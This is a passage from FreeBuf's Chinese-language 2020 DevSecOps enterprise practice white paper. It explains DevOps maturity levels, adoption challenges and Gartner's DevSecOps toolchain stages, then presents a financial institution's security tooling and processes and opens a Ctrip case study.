随着《研发运营一体化(DevOps)能力成熟度模型》框架的逐渐完善,将对DevOps全链路中开发、交付、运营等过程的安全风险控制进行规范要求,为 企业安全风险管控手段和能力提升提供有效引导,并真正助力DevOps应用的全生命周期安全管理。 ing-Requirements for cloud service development and operation management”。 研发运营一体化(DevOps)能力成熟度级别分成五级,分别是: 1级-初始级:在组织局部范围内开始尝试DevOps活动并获得初期效 果; 2级-基础级:在组织较大范围内推行DevOps实践并获得局部效率提 升; 3级-全面级:在组织内全面推行DevOps实践并贯穿软件全生命周期获 得整体效率提升; 4级-优秀级:在组织内全面落地DevOps并可按需交付用户价值达到整 体效率最优化; 5级-卓越级:在组织内全面形成持续改进的文化并不断驱动DevOps在 更大范围内取得成功。 DevSecOps相关细则作为风险管理主题出现在《研发运营一体化 (DevOps)能力成熟度模型》的第六章节。主要是安全考量和全局规划, 包括:控制总体风险、控制开发过程风险、控制交付过程风险、控制运营 过程风险。 安全与风险管理成熟度分布 39.41% 35.87% 19.52% 5.20% 0.00% 初始级 基础级 全面级 优秀级 卓越级 注释:ITU 和 ISO、IEC 并称国际三大标准化组织。ITU(国际电信联盟)是联合国的国际标准组织,成立于1865年(比联合国还早80年),是193个主权国家的政府间组织。ITU 和 国际原子能机构、国际货币基金组织和教科文组织并列,均为联合国专门机构。 FreeBuf 咨询荣誉出品 3 CHAPTER THREE 第三章 企业 DevSecOps 落地与指导 FreeBuf 咨询荣誉出品 CHAPTER THREE 07 未建立专业安全团队 65.02% 第三章 企业 DevSecOps 落地与指导 由于DevSecOps仍然处于初始阶段,还没有一个通用化的标准或实践指南,并没有很多成熟经验可以借鉴,企业在落地之初主要遇到的挑战如下: 安全人才短缺 根据《中国DevOps现状调查报告(2019年)》,有65.02%的企业仍未建立专业安全团队。事实上,大多数企业仍处于“一个人的安全部”的现状,日常 工作主要承担防火墙、安全监测、补丁管理、病毒管理等较传统的网络安全工作。近年随着安全越来越被重视,企业开始成立独立的安全团队,然而 大部分仅仅是IT人员的扩张,专业的安全人员比例却在降低。 3.1 DevSecOps 落地挑战 图 《中国 DevOps 现状调查报告(2019 年)》- 专业安全团队比例低 由于DevSecOps需要安全左移,安全需要和研发更紧密的协作。而安全人才市场面临着极大的缺口,缺乏专业的安全人员,便可能导致和研发沟通 不畅,因而影响安全和DevOps嵌入的效率。 文化的挑战 安全通常是作为独立组织存在,且与研发和运营分开。此外,在IT人员的概念中,安全往往会增加IT人员额外的工作量,拖累项目的进度甚至延期,因 而IT人员与安全往往站在对立面。同时研发人员和运营人员大都不懂安全。由此造成的文化与意识壁垒,一时间很难打破。 安全知识和技能薄弱 DevSecOps需要研发、运维及安全人员协作,共同承担安全职责,可站在对方的视角看待问题。但是对于研发和运维人员来说,往往缺少安全意识及 技能,在系统设计开发及部署运维等环节,无法高效协同保障安全性。 安全与研发流程割裂 安全测试工具有很多种类,如源代码安全扫描、黑盒安全测试、开源组件安全测试、主机安全测试等。这些安全测试工具通常为独立的工具及单独的 Web页面,需要研发人员分别登录查看漏洞及修复,部分测试工具的扫描时间可能还会长达小时级。由于安全与研发流程的割裂,便会影响DevOps 的快速迭代。 专业安全团队比例 已建立专业安全团队 34.98% CHAPTER THREE 07 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 3.2 DevSecOps 落地与指导 伴随着DevSecOps战略框架的日趋完善,国内相关行业的建设也迅速开展起来。总体来说,基于Gartner DevSecOps理念,企业需要从文化、流程及 技术三方面切入,通过固化流程、加强人员协作以及工具化、自动化技术手段将安全无缝内嵌到研发流程中,从而实现企业DevSecOps落地。 DevSecOps实质上是对传统IT文化的变革,因此落地的推动往往需要获取上层支持,通过意识宣贯及安全培训等手段,改变只有安全人员对安全负 责的态度和观念,让研发团队及运维团队到每个人都需要对安全负责。 好的DevSecOps文化能够支持更严格的安全策略的贯彻执行。在有着优良企业安全文化的团队中,安全自然成为了一种共同的责任,在这种文化 之下,不同业务部门间的鸿沟会相对更为容易跨越,在问题出现的时候,也会得到最早地解决。 3.2.1 安全文化变革 Gartner给出建议,不要强制DevOps开发人员采用安全人员的旧的流程。相反地,将安全保证措施无缝集成到开发的持续集成(CI)和持续部署 (CD)的工具链中。 详细来讲,针对安全工作的阶段左移,需要在软件开发的初期就介入进来。从安全需求定义、威胁建模、安全扫描、安全黑盒测试等多个方面进行安 全能力内建,如安全需求导入至统一需求管理流程与工具、安全测试工具集成到CI持续集成和CD持续部署、安全漏洞结果导入到缺陷管理工具等, 由此顺利衔接安全与研发相关工具及流程。 3.2.2 安全左移流程 图 安全建设安全活动干系人 08 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 图 DevSecOps 工具链 企业从关注安全到实现落地,需要切实地进行投入,包括开发、测试、运营过程中的流程规范、实践,在此过程中,离不开各项工具平台的建设。将流程 和工具完美结合,通过将安全能力内建到工具中,也是DevSecOps 落地中关键的一环。 在DevSecOps理念的发展过程中,一直是在不断演变且逐渐成熟,但不同阶段的理论成熟度与实践也存在较大的差异化。在本报告中我们尝试基于 Gartner输出的DevSecOps工具链对其不同阶段进行解读。 DevSecOps主要分为10个阶段,分别是计划(Plan)、创建(Create)、验证(Verify)、预发布(Preprod)、发布(Release)、预防(Prevent)、检测(Detect)、 响应(Respond)、预测(Predict)、适应(Adapt),其中预防(Prevent)在之前的版本里也有叫做配置(Configure)。 计划阶段是DevSecOps的第一个阶段,其包含了SDL模型里培训、需求、设计等几个阶段,主要关注的是开发前的安全动作。根据Gartner官方工具链模 型可以看出其主要是包含有偿还技术安全债务、安全开发衡量指标、威胁建模、安全工具培训。 技术债务指开发人员为了加速软件开发,在应该采用最佳方案时进行了妥协,改用了短期内能加速软件开发的方案,从而在未来给自己带来的额外开 发负担。那么对应的技术安全债务就是相关技术架构中一些考虑不完善的点而潜藏的安全风险,一般就是在安全设计或者需求阶段没有进行相关的 安全设计和评估而导致,在后续的安全工作里都是需要认识其风险并且给出安全解决方案逐渐偿还。举个例子,比如在一些项目的开发过程中为了快 速实现功能,选用了一些不安全的框架,那么在后续的维护过程中可能会不断受其安全问题影响而需要不断的进行修复,比如说struts2,那么安全团 队应该给出方案,比如说禁用替换该组件。 安全开发衡量指标为需要制定对应的安全开发的衡量指标,以便于评估安全开发模型实施的效果,比如漏洞发现率,统计上线前后漏洞的发现情况, 来评估安全开发流程是否有效在安全开发过程中有效收敛安全漏洞。 威胁建模是在需求和设计阶段识别和消减安全威胁的一种手段,如SDL里微软提出的“STRIDE”,基于数据流图去识别不同环节是否存在仿冒、篡改、 抵赖、信息泄露、拒绝服务、权限提升几个维度的安全威胁,并制定对应的消减措施,落实并验证。这里还有个概念是轻量的威胁建模,相对比“STRIDE” 这种传统意义上比较复杂的威胁建模过程,轻量的威胁建模通常通过安全checklist等方式进行简单快速的实现设计、需求阶段的安全风险识别并处 3.2.3 构建DevSecOps工具链 3.2.3.1 Plan 计划阶段 CHAPTER THREE 09 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 置,一般也容易落地与实行,并且也能取得一定的效果,而不至于让这个安全动作名存实亡。 安全工具培训则就是字面的意思,由于DevSecOps相对比SDL等更强调自动化,所以相关安全动作通常由安全工具实现,同时安全动作不再只是安全 团队执行,所以也要针对开发等同学进行安全工具使用的培训,以便于帮助其在不同阶段使用安全工具进行检查。 当然,除了DevSecOps工具链所标记的四点,其实在计划阶段,类似安全编码规范、安全编码培训、安全流程的学习、安全需求定义、制定和发布标准化 安全功能等需求、设计阶段实际安全动作都可以归入这个阶段,并不存在明显的冲突或者矛盾。 3.2.3.2 Create 创建阶段 创建阶段主要就是指编码阶段。编码阶段主要进行安全编码及检查,旨在在编码阶段进行安全风险的消除。主要包含参考安全编码规范进行安全编 码,通过IDE安全插件进行源代码的安全检测,也可以进行安全编码规范的自动化检查,如是否使用不安全或禁用的函数等;甚至是检查代码中是否引 用使用了不安全或不合规的第三方组件。 3.2.3.3 Verify 验证阶段 验 证 阶 段 其 实 就 是 测 试 阶 段,主 要 以 自 动 化 的 应 用 安 全 测 试(AST,Application Security Testing)和 软 件 成 分 分 析(SCA,Software Composition Analysis)为主。 应用安全测试主要分为动态应用安全测试(DAST)、静态应用安全测试(SAST)、交互式应用安全测试(IAST,)。DAST 是一种黑盒测试方式,是 在应用测试或运行环境模拟黑客构造特定的恶意请求从而分析确认应用是否存在安全漏洞的一种方式,也是过去最常用的一种应用测试方式,比 如我们常见的 APPSCAN、AWVS、W3AF 等 Web 漏洞扫描器就是属于这种类型;而 SAST 是针对源代码的一种分析测试方式(部分工具也会依赖 于编译过程甚至编译后文件进行分析测试),常见的 Coverity、Checkmarx、CodeQL 等自动化静态代码审计工具就属于这个类型;而 IAST 是 Gartner 在 2012 年提出的一种应用安全测试方式,寻求结合 DAST 和 SAST 的优势,其实现原理通常通过插桩的方式在应用环境安装 Agent,在 特定位置插入探针,然后通过测试用例执行触发请求,探测获取请求、代码数据流、控制流等,然后进行综合的判断分析是否存在漏洞。相对比 DAST 和 SAST,IAST 既能识别漏洞所在代码位置,又能记录触发漏洞的请求。相对比其他两类应用安全测试,IAST 的一些现有成熟工具会比较少, 但国内外也开始涌现相关厂商在输出这块的工具。 软件成分分析主要是关注应用中引入使用的第三方组件的情况。根据 Gartner 和 Synopsys 调研报告显示,99% 的组件在企业 IT 系统以及 99% 的 软件中使用第三方组件,而 Synopsys 2020 年开源安全报告更是指出 75% 的开源代码存在漏洞,49% 包含高风险漏洞,所以第三方组件安全问题 成为影响软件安全问题的核心点之一。SCA 通过分析软件成分,识别软件中使用的第三方组件是否存在安全问题或者合规风险,以此消除第三方 组件带来的安全风险。该类工具主要有 OWASP Dependency Check、BlackDuck Hub、FOSSID 等。 3.2.3.4 Preproduction 预发布阶段 预发布阶段一般是测试阶段及正式发布阶段的中间阶段,其与测试阶段不同的是预发布阶段所发布的预发布环境是连接的正式环境的数据库等,其 等同于独立部署的非对外公开的正式环境。在DevSecOps工具链中预发布阶段主要包含有混沌工程(Chaos Engineering)、模糊测试(Fuzzing)、集成 测试三个安全动作。 混沌工程,是一种提高技术架构弹性能力的复杂技术手段,以实验发现系统性弱点,简单的解释就是通过主动制造故障,测试系统在各种压力下的行 为,识别并修复故障问题,避免造成严重后果。 模糊测试是将自动或半自动生成的随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion)失败,以发现可能的程序错误,比如内存泄 漏等。跟SAST、DAST、IAST等不同的是,AST是基于已知经验发现安全问题,模糊测试捕捉的是未知的安全问题。 10 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 CHAPTER THREE 11 3.2.3.5 Release 发布阶段 集成测试是在单元测试的基础上,将所有模块按照设计要求(如根据结构图)组装成为子系统或系统,进行集成测试。 其中混沌工程和集成测试都是软件及测试工程中一些专用的动作,这里映射到安全动作的话更多是通过这些工程方法实现一些安全测试的目的。 同时在预发布阶段,除了以上三种动作,其实类似主机安全测试、容器镜像检查等都可以是在预发布执行的安全动作。在实际执行和落地过程,通常也 会有一些安全动作比较难以清晰的划分是在验证或者预发布阶段进行,两个阶段在一些特殊场景下可能会出现互相融合的情况。 针对发布阶段,在DevSecOps的流程中主要动作是软件签名,与预防阶段结合来看,主要是软件防篡改。 3.2.3.6 Prevent 预防阶段 预防阶段在过去版本的DevSecOps模型中也被叫为配置(Configure)阶段,在最新的模型中被调整为预防(Prevent),从调整也可以看得出,该阶段理 论和实践性还有待进一步发展和细化。 该阶段主要包含有签名验证、完整性检查和纵深防御。 其中签名验证是呼应发布阶段的软件签名,以及进行完整性检查,两者都是保障软件的一致性,避免传输等过程软件被篡改、替换等情况。 而纵深防御(Defence-in-Depth, DiD)其核心思想简单来说就是层层防御。采用分层的机制,通过层层的安全防护和监控手段而非指望单一的安全手 段来建立安全防御体系,纵深防御的目标是确保每层都知道如何在可疑的攻击事件中采取行动,限制恶意或意外破坏的机会,并最大限度地提高快速 识别任何安全漏洞的机会。 3.2.3.7 Detect 检测阶段 从预防阶段,就已经从开发切换到运维阶段,而检测阶段则更符合传统安全中相关的安全监控动作,该阶段主要包含有RASP、UEBA、网络流量监控、 渗透测试几个安全动作。 RASP(Runtime Application Self-Protection,应用运行时自我保护),Gartner在2014年引入RASP这个概念。RSAP将自身注入到应用程序中,与应用程 序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力。RASP的注入方式类似于某些IAST,但其更强调的是安全防护和阻断能力,国内比较 出名的有百度的OpenRASP。 UEBA(User and Entity Behavior Analytics,用户行为分析)其也是Gartner提出并的一个安全名称,说白了就是通过行为分析来识别恶意行为,一般在 讲述这个概念的时候会提及用户画像、机器学习等自动化学习、分析和预测能力。 网络流量监控其实是类似于UEBA的一个东西,其核心是通过对流量进行监控分析,识别其中恶意的流程,即一些攻击行为等。 而渗透测试通常就是指通过人工等方式进行软件或者系统的测试仪发现攻击者可以利用的攻击途径或者安全问题。引申的话其实还涉及到红蓝对 抗,在渗透测试的基础上更强调攻击方与防御方的对抗过程,以此验证整体安全防御体系及相应机制等。 其实除了以上4个安全动作,在运维阶段可以进行的安全检测或者监控远不止如此,过去在安全落地过程通常通过相关安全监控来进行补偿性的安全 问题发现,一般就是位于该阶段,如高危端口开放检测、系统漏洞扫描等。 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 3.2.3.8 Respond 响应阶段 而渗透测试通常就是指通过人工等方式进行软件或者系统的测试仪发现攻击者可以利用的攻击途径或者安全问题。引申的话其实还涉及到红蓝对 抗,在渗透测试的基础上更强调攻击方与防御方的对抗过程,以此验证整体安全防御体系及相应机制等。 其实除了以上4个安全动作,在运维阶段可以进行的安全检测或者监控远不止如此,过去在安全落地过程通常通过相关安全监控来进行补偿性的安全 问题发现,一般就是位于该阶段,如高危端口开放检测、系统漏洞扫描等。 在DevSecOps的响应阶段,安全动作主要包含有安全编排、基于RASP/WAF的防护、以及混淆。 基于RASP/WAF安全防护是指通过WAF或RASP的方式,针对 Web 攻击进行拦截阻断, 以实现避免由于Web 攻击导致的拖库等后果。 而混淆主要是指代码混淆,更多是针对移动APP的混淆操作,避免APP反编译等。 安全编排一般是指安全编码自动化和响应(SOAR),也是Gartner在2017年提出的概念,它是安全编排与自动化(SOA,Security Orchestration and Automation)、安全事件响应平台(SIRP,Security Incident Response Platform)和威胁情报平台(TIP,Threat Intelligence Platform)三种技术/工具的 融合,目的是快速准确的响应和预测安全事件。 3.2.3.9 Predict 预测阶段 3.2.3.10 Adapt 适应阶段 预测阶段主要涉及漏洞相关性分析与威胁情报(开发消耗(Dev Consumable)是新版本的 DevSecOps 工具链中新引入的点,概念与含义还不够 清晰)。 漏洞相关性分析(Application Vulnerability Correlation,AVC)也是 Gartner 提的一个概念,是一种应用程序安全性工作流和流程管理工具,旨 在通过将来自各种安全测试发现的不同数据源的漏洞进行统一管理和自动关联,从而简化漏洞的修复。通俗的解释,由于存在不同类型的应用安 全测试工具,如上文的 SAST、DAST、IAST 等,那么不同工具的使用会产生不同标准和格式的漏洞结果,会存在重复扫出同一个漏洞等情况,漏 洞相关性分析通过自动分析和关联合并漏洞,这样开发人员就可以更便捷和快速的修复安全问题,提升安全效率。 威胁情报(Threat Intelligence,TI),根据 Gartner 对威胁情报的定义,威胁情报是某种基于证据的知识,包括上下文、机制、标示、含义和能够 执行的建议,这些知识与资产所面临已有的或酝酿中的威胁或危害相关,可用于资产相关主体对威胁或危害的响应或处理决策提供信息支持。业 内大多数所说的威胁情报可以认为是狭义的威胁情报,其主要内容为用于识别和检测威胁的失陷标识,如文件 HASH,IP,域名,程序运行路径, 注册表项等,以及相关的归属标签。威胁情报旨在为面临威胁的资产主体 ( 通常为资产所属企业或机构 ) 提供全面的、准确的、与其相关的、并且 能够执行和决策的知识和信息。其中 IOC(Indicators of Compromise)叫做入侵威胁指标,是威胁情报的关键信息,通常是如恶意文件指纹、进 程信息、恶意域名、C&C 服务器 IP 等。 由于威胁情报可能有不同的来源,那么意味着其有不同的结构和标准,为了统一威胁情报表达和交换标准,方便进行不同来源威胁情报的使用, 就诞生了对应的威胁情报标准,其中结构化威胁信息表达式(StructuredThreatInformationeXpression,STIX)和指标信息的可信自动化交换 (TrustedAutomatedeXchangeofIndicatorInformation,TAXII)就是其中的核心的两个标准。前者提供了基于标准 XML 语法描述威胁情报的细节 和威胁内容的方法,后者则定义了威胁情报的交换协议。所以通常使用 STIX 来描述情报,而使用 TAXII 来传输交换情报。 适应阶段主要强调了安全技术债务、修改应急响应方案、安全防御方案等几个点。其实这个阶段也可以称作优化阶段,主要是基于DevSecOps实施的 整个流程的情况,进行持续的适配改进和项目调整优化,对应到过去安全动作,可以理解为持续运营反馈调整的过程,包含对相关安全问题的持续跟 踪、闭环,对DevSecOps过程中相关安全动作如策略的调整等。 在此,我们分别国内某知名金融机构和国内在线旅游行业龙头企业携程的企业DevSecOps落地为例,串联文化、流程及技术三要素,给出具有行业及 企业特色的实践参考。 12 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 4 CHAPTER FOUR 第四章 某金融机构 DevSecOps 实践 FreeBuf 咨询荣誉出品 高层支持:借助监管要求、外部咨询、安全案例等形式,强化应用系统生命周期安全管理的必要性,争取高层的认同与支持,获得更多的人力及预算等 资源。 软件安全方法论:确立了自有软件安全开发生命周期管理框架,规定在软件安全开发的不同阶段需要开展的安全活动。 安全活动干系人:明确项目安全建设过程中涉及的干系人的主要活动、职责和义务,让研发及运维人员意识到安全是整个IT团队每个人的责任,需要 贯穿从开发到运营整个软件生命周期的每一个环节。 安全培训:开展了一系列线上线下信息安全技能培训,提升IT人员安全专业技能。并且基于不同的角色,定制了不同的培训课程。 安全积极分子:在内部信息安全门户建立了漏洞修复知识库,鼓励安全积极分子将日常漏洞修复过程分享出来,共同维护该漏洞修复知识库。 以史为鉴:通过收集和总结历史上发生的真实漏洞案例,形成“漏洞-以史为鉴”,用实际发生的安全案例对研发及运维人员进行安全宣贯。 该金融机构安全部门下设应用安全、数据安全、安全技术攻防、安全事件响应相关职能团队,覆盖应用安全、GRC(治理、风险和合规)、数据安全、业务安 全、安全运营、安全攻防及安全响应等分支。 其中,应用安全团队负责DevSecOps的研究与落地,应用安全职能专设安全顾问“ISO”的角色,扎口管理项目安全评估与咨询,负责项目安全建设的全 流程跟踪。 此外,为了解决安全方向较多而安全人力不足的问题,机构跨团队成立了六大虚拟组织“大运营体系”,采用融合SCRUM敏捷方法的安全大运营模式, 提升安全人力协作和运营效能。 2017年开始,该机构已全面向敏捷及DevOps转型,DevOps平台也在同步自研中,目前已经具备较完善的功能,大量的项目在逐步迁移到DevOps平 台。作为国内较早实施DevSecOps实践的金融企业,具备丰富的安全管理及建设经验。 4.1 安全背景简介 图 某金融机构 DevOps 数字化转型 4.2 企业安全文化建设 14 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 图 研发运营一体化过程中安全活动 4.3 企业安全流程建设 安全团队和质量团队合作,对应用系统进行分类分级,针对不同的系统分类分级,定义不同的安全策略,将安全活动内嵌到项目流程中。包括安全调 查问卷、轻量级威胁建模、源代码安全扫描、开源组件安全扫描、黑盒安全测试、内外部渗透测试、生产环境部署验证、剩余风险评级与接受等。 4.3.1 安全策略 在DevOps研发运营一体化过程中进行的安全活动如下图,选取一些主要活动进行说明。 4.3.2 安全活动及工具链应用 4.3.2.1 轻量级威胁建模 安全团队对威胁建模过程进行了优化,将安全需求分析和架构设计过程结合,设计了轻量级威胁建模,主要包括攻击面分析和安全威胁库。 >Step 1-问卷调研:调研问卷主要包括系统架构、使用场景、重要数据、部署方式 4部分。其中系统架构关注统架构图、技术实现方案等,使用场景关注 用户场景、用户群体、角色、访问方式等,数据关注是否有敏感数据,而部署关注部署架构及物理资产。 >Step 2-攻击面分析:采用简化的数据流图,关注系统与外部系统的边界。 >Step 3-威胁识别:将识别出的攻击面,基于业务场景与威胁库进行匹配,识别出系统面临的威胁点。 >Step 4-安全设计方案:根据威胁分析结果,匹配安全需求标准库,输出进行威胁缓释需要实施的安全需求基线,制定最终的安全设计方案。 CHAPTER FOUR 15 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 当前机构的轻量级威胁建模仍然处于手工阶段,为了提供效率,安全团队已经在SDL安全开发全流程赋能平台中,进行自动化轻量级威胁建模功能 开发。 图 SonarQube 集成 Find Security Bugs 插件 4.3.2.2 源代码安全扫描(SAST) 源代码安全扫描在 DevOps 过程中的检测点主要有:开发人员本地源代码安全检测、代码提交时进行源代码安全检测、CI 构建过程中进行源代码 安全扫描。 针对 SAST,安全团队最初采用了商业工具 Fortify 及 Appscan Source。但在实际应用中存在两个问题:误报太多及扫描速度太慢,这些因素都会 拖累 DevOps 交付速度。基于软件开发成熟度现状,为了更好的集成到 DevOps 流程,安全团队放弃商用工具,转而使用开源 SonarQube+Find Security Bugs 插件取代。 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 图 轻量级威胁建模 16 FreeBuf 咨询荣誉出品 4.3.2.3 黑盒安全测试(DAST) 安全团队目前采用的黑盒安全测试工具有 AppScan、AWVS、OWASP ZAP 和 Arachni,通过自研三叉戟自动化安全测试平台进行封装和分布式扫 描调度,提供 API 方式给 DevOps 平台进行集成。不过由于研发测试环境没有统一的测试 Token,无法有效进行登录式扫描,因此也在探索基于 流量代理或镜像方式的黑盒安全测试技术。 4.3.2.4 交互式应用安全测试(IAST) IAST可在软件集成测试阶段无缝集成到DevOps,测试人员在执行功能测试的同时,无感知的完成应用安全测试。对此,引入了IAST工具Contrast Security,集成至DevOps平台中进行自动化安全测试。 4.3.2.5 开源组件安全扫描(SCA) 针对开源组件的安全治理实践如下: -引入开源组件的安全扫描工具:引入商业的BlackDuck,支持安全风险及许可证合规检测。 -自动化集成:将开源组件扫描工具和研发DevOps平台工具链CI过程集成。 图 自动化安全测试平台 图 IAST 扫描结果 CHAPTER FOUR 17 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 -建立开源组件资产库:在CI日常构建过程中,开源组件扫描工具会进行软件组成分析,形成应用程序的开源组件清单。当开源组件安全漏洞信息被披 露时,安全团队可立刻判断受影响程度并通知项目组进行漏洞修复。 -建立内部安全开源组件仓库:应用构建时,第三方组件都从该仓库获取,可保证应用不包含已知漏洞的组件,降低安全风险。 -制定开源组件使用策略:禁止开发人员私自下载第三方组件,设置专人进行开源组件仓库管理。 -持续监测开源组件威胁:如组件出现安全漏洞,及时通知项目组进行漏洞,同时更新为安全版本。 -Docker安全配置基线: 首先根据Docker安全标准整理得到“Docker容器安全实践指南”,该指南包括了主机安全配置、Docker守护进程配置、Docker守护程序配置文件、容器 镜像和构建、容器运行安全、Docker安全操作等方面,为研发及运维人员提供Docker安全加固指南,降低Docker安全风险。 图 开源组件安全扫描 图 容器安全生命周期管理 4.3.2.6 容器全生命周期安全管理 利用完整的安全工具链对容器进行检测、监控及修复,保障容器镜像及运行环境的安全,形成了一套行之有效的容器安全最佳实践,建立了容器全生 命周期安全管理方法论, 18 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 -Kubernetes安全: 其次,Kubernete作为容器云的编排服务和集群运行环境,直接关系到容器的运行安全。根据实践总结了Kubernetes部署安全指南,用于指导 Kubernetes的安全部署。 -内部安全镜像仓库: 制定严格的内部安全镜像仓库管理策略: 1)协调开发团队和安全团队合作,共同建立和更新内部镜像仓库,并要求企业所有容器构建仅限于内部安全镜像仓库,禁止从互联网获取镜像资源; 2)开源组件依赖包统一由质量团队管理、操作系统和相关应用包统一由安全团队管理。各团队在开发测试及生产环境专门搭建本地私用库,由固定服 务器外连指定的少数可信源(官方或官方认证站点); 3)运维人员如需互联网Docker镜像仓库拉取镜像时,必须经过Docker安全扫描,确认无安全漏洞,才可拉取到内部安全镜像仓库; 4)第三方开源组件入库时触发开源组件安全扫描工具,进行已知开源组件漏洞检测,如有漏洞则进行隔离和提示管理员,确认无安全漏洞的开源组件 才可入库。 -容器安全扫描工具自动化集成: 目前生产环境的Docker主机均从内部私有Registry中提取生产镜像。当构建工具上传镜像到私有Registry后,容器安全扫描器会从该Registry中获取 镜像的副本,实施安全测试。 -容器安全风险度量及可视化: 为了对项目组的容器安全风险进行度量及直观展示,从容器镜像的项目分布、安全漏洞、操作系统等纬度进行了可视化展示,便于项目组进行容器安 全风险的持续监控及容器安全漏洞的修复。 图 容器安全风险度量可视化 4.3.2.7 威胁监控 安全团队基于开源技术及其他商业产品能力集成,自研人工智能安全态势感知平台,主要功能包括:海量安全日志集中化管理、NTA网络流量分析、网 络安全威胁态势可视化、UEBA内部用户行为分析、TI情报中心、EDR端点检测与响应、SOAR安全编排与自动化响应等。 CHAPTER FOUR 19 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 图 人工智能安全态势感知平台 4.3.2.8 安全响应 漏洞响应的主要流程如下: -漏洞情报:从厂商公告、安全情报厂商、安全社区和朋友圈等渠道获取漏洞情报。 -漏洞评估:根据漏洞影响的资产类型、公司资产数据库,确定受影响的服务器以及应该参与响应的系统管理员,按照严重(严重可被exp的RCE漏洞)、 高危(其他可被exp的远程利用漏洞)、中危(可被exp的本地其他漏洞)和低危(其他漏洞)四级分类。 -预警定级:预警通告等级分为三级,由高到低依次用红色、橙色和黄色表示,分别对应发生或可能发生一级、二级和三级事件。 -发布预警:通过邮件方式对全IT发布预警,给出已知受影响的系统名称、IP地址、人和团队等信息,同时要求其他人员开展自查,防止遗漏。 -组织修复:系统管理员根据官方给出的修复方式组织修复,安全运营人员联系网络层IPS厂商获取IPS特征签名,并下发全网。 -验证修复:利用漏洞扫描器、POC脚本等方式对漏洞进行修复验证,使用漏洞扫描器进行全网扫描。 -解除预警:通过邮件方式解除预警。 20 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 告警 日志 SOAR 联动 安全大运营 安全日志 事件响应平台 监管与公安指挥 第三方设备 资产库 情报中心 SOC/SIEM 安全智能化分析 内部用户行为分析 外部反欺诈 海量日志管理 通过收集、处理、分析企业安全数据,借助外部威胁情报和大数据分析技术提高效率,赋能公司安全响应中心运营人员检测、响应和预测内、外部威胁 和事件,持续降低企业攻陷检测时间(MTTD)和攻陷响应时间(MTTR),实现对企业面临的内外部威胁快速检测、实时分析和自动化处置能力,使得企 业具备安全可知、可见、可控的全网安全态势感知能力。 图 技术及运营指标 FreeBuf 咨询荣誉出品 图 安全漏洞响应 RPA 图 安全工具链 在安全运营过程中,为了实现安全漏洞的快速响应,安全团队还对漏洞响应过程进行了工程化,实现了安全漏洞响应RPA。 目前DevOps中安全工具自动化包括:DEV环境的源代码安全扫描SAST、开源组件安全扫描SCA、移动APP加固,SIT阶段的Docker安全扫描、黑盒安 全扫描DAST及交互式安全扫描IAST。此外也在开发自动化安全测试平台,将各种商业/开源安全工具,如源代码安全扫描、黑盒安全扫描、渗透测试 工具等集成进来,对外提供集成安全测试能力支持,并通过API接口方式集成到DevOps平台。 DevSecOps核心理念之一,是要工具化和自动化,所以工具必不可少。机构已经初步建立了端到端完整的安全工具链,并自动化集成到DevOps流 程中。 4.3.4 企业安全平台实践 CHAPTER FOUR 21 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 图 SDL 安全开发全流程赋能平台 图 DevOps 中安全活动门限及度量指标 安全团队自主研发了人工智能安全态势感知平台、内部用户行为分析平台、应用安全工程中台等,通过赋能研发运营一体化过程,助力DevSecOps 安全运营效能的提升。 DevSecOps之所以落地困难,原因其一在于很多企业认为无法度量安全工作的效果。对此,该金融机构安全团队从度量指标、驱动运营及软件安全 成熟度模型三方面来解决DevSecOps效能的度量问题。 DevSecOps过程度量指标:制定了DevOps过程中安全活动对应的门限及度量指标,通过门限控制软件进入制品库的度量标准,通过度量指标来衡 量项目的安全成熟度。 4.3.5 DevSecOps安全度量指标 22 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 FreeBuf 咨询荣誉出品 CHAPTER FOUR 23 2 0 2 0 D e v S e c O p s 企 业 实 践 白 皮 书 图 2019 软件安全构建成熟度示例 指标驱动运营:制定了项目安全建设运营指标,如项目安全评估的覆盖率、端到端安全交付效能、安全工具链DevOps集成率、安全测试能力覆盖率、 安全漏洞修复率、安全漏洞漏出率、标准化安全组件、软件安全能力成熟度等。 软件安全成熟度:每年安全团队都会进行软件安全成熟度自评估*。评估时,基于自定义的标准,生成安全成熟度模型。此外,还会不断进行差距分 析,确定下一年度可行的改进方向,并制定成熟度行动计划,不断提升软件安全成熟度。 (注释:软件安全成熟度评估模型基于BSIMM(Build Security In Maturity Model,软件安全构建成熟度模型),BSIMM分为4个领域12类实践,总共包括100多项活动。) FreeBuf 咨询荣誉出品 5 CHAPTER FIVE 第五章 携程 DevSecOps 实践 FreeBuf 咨询荣誉出品 5.1 安全背景介绍 携程业务覆盖机票、酒店、度假、汽车票、火车票、支付等各个方面,为全球用户提供在线旅游服务。在如此庞大复杂的业务架构下,携程每周都会有数 以万计的应用发布次数,如何保证每一次发布代码的安全性成为携程DevSecOps实践中最大的挑战。 复杂安全需求与有限人力的矛盾 为了保证将安全嵌入DevSecOps的每一个流程,保证代码的安全,首先面临的难点是人力问题。在软件行业,版本发布涉及到开发、测试等流程、动辄 需要数月时间,每个版本的发布都可以按照SDL流程完整的做一次安全评估,包括需求评审、威胁建模、安全开发、安全扫描。 